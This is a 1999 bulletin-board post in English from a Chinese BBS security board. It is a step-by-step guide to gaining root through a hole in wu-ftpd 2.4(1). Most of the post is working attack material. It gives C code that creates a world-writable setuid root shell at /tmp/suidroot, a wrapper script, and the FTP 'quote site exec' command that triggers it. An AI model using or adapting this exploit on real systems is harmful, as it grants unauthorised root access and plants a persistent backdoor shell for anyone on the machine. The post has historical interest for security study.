how to gain root access by wu-ftpd hole.txt

当今

发信人: biff (大可), 信区: Security 
标  题: how to gain root access by wu-ftpd hole 
发信站: 武汉白云黄鹤站 (Sun Jun 13 15:00:00 1999), 站内信件 
  
This shows you how to use the wuftp2.4(1) hole to gain root. 
  
  
  
On the VICTIM system, compile the following C code: 
  
######## CUT HERE ####### 
  
main() 
  
{ 
  
setuid(0); 
  
seteuid(0); 
  
  
  
system("cp /bin/sh /tmp/suidroot"); 
  
system("chmod a+rwxs /tmp/suidroot"); 
  
} 
  
####### CUT HERE ####### 
  
  
  
Now create a shell script, called root.sh, that contains the following: 
  
  
  
####### CUT HERE ####### 
  
exec a.out      <----- a.out is the name of the compiled C code 
  
####### CUT HERE ####### 
  
  
  

Now, FTP localhost, login as your account on that system and: 
  
  
  
ftp> quote site exec sh root.sh 
  
  
  
Quit FTP and execute /tmp/suidroot to become root!#@!# Wewp. 
  
  
  
  
  
--